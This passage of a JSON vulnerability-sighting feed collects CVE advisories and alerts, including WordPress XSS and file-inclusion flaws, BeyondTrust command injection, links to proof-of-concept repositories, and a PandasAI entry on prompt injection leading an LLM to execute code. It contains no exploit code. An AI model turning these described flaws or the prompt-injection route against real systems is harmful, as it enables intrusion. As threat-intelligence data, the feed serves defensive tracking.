more...\",\n  \"Detection Date\": \"01 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-01T10:35:34.000000Z"}, {"uuid": "6deb266e-b50f-4f4f-b665-f8ce4d6ff0e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-24)", "content": "", "creation_timestamp": "2026-04-24T00:00:00.000000Z"}, {"uuid": "87d4803a-2876-487d-8e9e-113f2ad73221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12820", "type": "seen", "source": "https://t.me/cvedetector/19129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12820 - Google Directions WordPress Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12820 \nPublished : Feb. 28, 2025, 6:15 a.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : The MK Google Directions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'MKGD' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T09:30:03.000000Z"}, {"uuid": "cf2bdc03-7017-4d00-9ee2-5be71401d716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9467", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-12356: Improper Neutralization of Special Elements used in a Command ('Command Injection') (CWE-77)\nURL\uff1ahttps://github.com/cloudefence/CVE-2024-12356\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-12-17T15:09:54.000000Z"}, {"uuid": "06ea8030-a0c5-4039-b0a7-32db527117fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12811", "type": "seen", "source": "https://t.me/cvedetector/19111", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12811 - WordPress Traveler Theme Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12811 \nPublished : Feb. 28, 2025, 12:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Traveler theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.1.8 via the 'hotel_alone_slider' shortcode 'style' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where php file type can be uploaded and included. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-28T03:38:53.000000Z"}, {"uuid": "fdf7c678-95eb-41a8-b66c-ed05103f701d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "published-proof-of-concept", "source": "Telegram/CIibF5krEqXHuHs5TqPPIuQ0aPwRPsmd2xxsRxQT1I_xhBk", "content": "", "creation_timestamp": "2025-10-25T21:00:05.000000Z"}, {"uuid": "4c4a7879-2fd2-44e5-8dab-b8b7f09c533b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12368", "type": "seen", "source": "https://t.me/cvedetector/18904", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12368 - Odoo OAuth Token Export Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12368 \nPublished : Feb. 25, 2025, 6:15 p.m. | 1\u00a0hour, 46\u00a0minutes ago \nDescription : Improper access control in the auth_oauth module of Odoo Community 15.0 and Odoo Enterprise 15.0 allows an internal user to export the OAuth tokens of other users. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-25T21:33:58.000000Z"}, {"uuid": "5d69fcc2-2b6d-4d97-93fc-d6a0af724be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12824", "type": "seen", "source": "Telegram/wQecxWgLDDEszHf_ZHcPN_MQrQQNon71J0p8rMZMNys_o6yH", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "9d39356b-744a-4d6b-bd4b-48340848f42d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/cvedetector/17706", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12366 - PandasAI LLM Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12366 \nPublished : Feb. 11, 2025, 1:15 p.m. | 52\u00a0minutes ago \nDescription : PandasAI uses an interactive prompt function that is vulnerable to prompt injection and run arbitrary Python code that can lead to Remote Code Execution (RCE) instead of the intended explanation of the natural language processing by the LLM. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T15:41:46.000000Z"}, {"uuid": "79af5a85-6215-433d-bacb-f49b20dc282d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-24)", "content": "", "creation_timestamp": "2026-04-24T00:00:00.000000Z"}, {"uuid": "3a96e75d-81e1-4c67-a187-3f1aea4c3091", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12706", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13719", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12706\n\ud83d\udd25 CVSS Score: 2.1 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:L/SA:L/S:N/AU:N/R:A/V:C/RE:M/U:Red)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in OpenText\u2122 Digital Asset Management. T\n\nhe vulnerability could allow an authenticated user to run arbitrary SQL commands on the underlying database. \n\nThis issue affects Digital Asset Management.: through 24.4.\n\ud83d\udccf Published: 2025-04-28T17:59:56.359Z\n\ud83d\udccf Modified: 2025-04-28T17:59:56.359Z\n\ud83d\udd17 References:\n1. https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0840263", "creation_timestamp": "2025-04-28T18:11:00.000000Z"}, {"uuid": "704593be-3695-4528-ae1d-d3111b3ea330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "Telegram/z3TvDyHJ2ZNCRJ0X9w9PtwT_1v_yQk-ihtqyZcMIGAQJgDU", "content": "", "creation_timestamp": "2026-04-16T03:00:06.000000Z"}, {"uuid": "db343f91-a617-42b0-ad3c-34adf5dbcdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "Telegram/yG0q3IpDztUHkWGWcBfSkFN1RblCcRFZP5pQldEwVfp_P8g", "content": "", "creation_timestamp": "2026-04-16T09:00:04.000000Z"}, {"uuid": "3c5b3a41-cfb7-487d-bbcd-473ae6fb497a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12599", "type": "seen", "source": "https://t.me/cvedetector/17660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12599 - Elementor Absolute Addons for WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12599 \nPublished : Feb. 11, 2025, 5:15 a.m. | 41\u00a0minutes ago \nDescription : The HT Mega \u2013 Absolute Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Countdown widget in all versions up to, and including, 2.8.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-11T07:18:59.000000Z"}, {"uuid": "b63abbe1-9dbc-4c0f-b205-4b20a2471671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12651", "type": "seen", "source": "Telegram/TGTdUmpe3oVtQ9i5PX6XiP63se6iL_kSDHplHBxLtYr6j3f1", "content": "", "creation_timestamp": "2025-02-14T21:08:30.000000Z"}, {"uuid": "2159708e-c172-482c-b4c3-5157429f7a95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://t.me/cvedetector/17577", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12133 - Git - Libtasn1 Infinite Loop Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-12133 \nPublished : Feb. 10, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-10T18:45:54.000000Z"}, {"uuid": "600553fb-bacb-4de8-8b73-b9a7b1c4eebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://t.me/cvedetector/17578", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12243 - GnuTLS Denial-of-Service Remote Certificate Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12243 \nPublished : Feb. 10, 2025, 4:15 p.m. | 1\u00a0hour, 27\u00a0minutes ago \nDescription : A flaw was found in GnuTLS, which relies on libtasn1 for ASN.1 data processing. Due to an inefficient algorithm in libtasn1, decoding certain DER-encoded certificate data can take excessive time, leading to increased resource consumption. This flaw allows a remote attacker to send a specially crafted certificate, causing GnuTLS to become unresponsive or slow, resulting in a denial-of-service condition. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-10T18:45:55.000000Z"}, {"uuid": "9eaa5024-2a9e-485e-b9d2-d9ba80d1986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/9603", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1a\ud83d\udc0d SQL Injection (SQLi)  \ud83d\udea8 Cross-Site Scripting (XSS)  \ud83d\udd10 Remote Code Execution (RCE)  \ud83d\udd0d And more!\nURL\uff1ahttps://github.com/Rehan07-Human/Exploiting-RCE-Cyber_Project_CVE-2024-1212\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-12-25T14:36:21.000000Z"}, {"uuid": "289af9c0-6100-4e08-82a7-70740e936da0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12273", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13795", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12273\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Calculated Fields Form WordPress plugin before 5.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-04-29T06:00:02.228Z\n\ud83d\udccf Modified: 2025-04-29T06:00:02.228Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/90333618-2be7-49cf-822a-819699f07977/", "creation_timestamp": "2025-04-29T07:12:11.000000Z"}, {"uuid": "ec03e78a-7ec8-40e8-86f2-85c97517f994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1555", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12085\n\ud83d\udd39 Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T17:37:16.036Z\n\ud83d\udccf Modified: 2025-01-14T17:37:16.036Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/security/cve/CVE-2024-12085\n2. https://bugzilla.redhat.com/show_bug.cgi?id=2330539", "creation_timestamp": "2025-01-14T18:09:55.000000Z"}, {"uuid": "ee14cc1d-623d-4696-9ae4-4e5e35848a8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12491\n\ud83d\udd39 Description: The SimplyRETS Real Estate IDX plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sr_search_form' shortcode in all versions up to, and including, 2.11.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:02.963Z\n\ud83d\udccf Modified: 2025-01-09T11:11:02.963Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa5c2d05-f6cb-4f97-b174-653ad3577b02?source=cve\n2. https://wordpress.org/plugins/simply-rets/", "creation_timestamp": "2025-01-09T12:15:52.000000Z"}, {"uuid": "4458dfdc-1430-4aa8-bf08-d911cb6c250f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12616", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/932", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12616\n\ud83d\udd39 Description: The Bitly's WordPress Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several AJAX actions in all versions up to, and including, 2.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update and retrieve plugin settings.\n\ud83d\udccf Published: 2025-01-09T11:11:03.339Z\n\ud83d\udccf Modified: 2025-01-09T11:11:03.339Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b1312c34-45c6-41e5-b6fc-a45ac2c8a0ca?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-bitly/trunk/includes/class-wp-bitly-auth.php#L115", "creation_timestamp": "2025-01-09T12:15:46.000000Z"}, {"uuid": "6ac3a386-25f6-45e0-ac42-a8f2b41edfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12339", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4790", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12339\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Digihood HTML Sitemap plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018channel' parameter in all versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-02-19T07:32:10.616Z\n\ud83d\udccf Modified: 2025-02-19T07:32:10.616Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/862f8743-5c8c-45ee-a2eb-9ae12c2800ca?source=cve\n2. https://plugins.trac.wordpress.org/browser/wedesin-html-sitemap/trunk/plugin-framework/Functions/Logging/html.php#L36\n3. https://plugins.trac.wordpress.org/browser/wedesin-html-sitemap/trunk/plugin-framework/Functions/Logging/html.php#L64", "creation_timestamp": "2025-02-19T08:41:10.000000Z"}, {"uuid": "0b252c58-8829-41d3-978c-8fb33565a1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1245", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/33", "content": "\ud83d\udccc CVE ID: GHSA-7r95-6mr9-6f86\n\ud83d\udd39 Summary: No summary available.\n\ud83d\udd17 More Info: https://nvd.nist.gov/vuln/detail/CVE-2024-1245", "creation_timestamp": "2025-01-05T01:28:46.000000Z"}, {"uuid": "e7d0a3a3-a131-4bb1-a782-0d2b5dab087a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/itsec_news/5130", "content": "\u200b\u26a1\ufe0f\u041e\u0434\u0438\u043d API-\u043a\u043b\u044e\u0447 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043a\u043b\u044e\u0447\u043e\u043c \u043a \u043a\u0430\u0437\u043d\u0435 \u0421\u0428\u0410\n\n\ud83d\udcac \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS), \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\nCVE-2024-12686 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.2) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0443 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0412 CISA \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2024-12686 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0441\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u2014 CVE-2024-12356 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430. \u0422\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447 Remote Support \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439. \u0425\u043e\u0442\u044f \u043a\u043b\u044e\u0447 \u0431\u044b\u043b \u043e\u0442\u043e\u0437\u0432\u0430\u043d, \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u044b. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0443\u0433\u0440\u043e\u0437\u044b \u0441\u0442\u0430\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043a \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0434\u043d\u0435\u0439.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u0441\u0435\u0442\u044c \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 API-\u043a\u043b\u044e\u0447. \u041a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0443 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Silk Typhoon (Hafnium). \u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 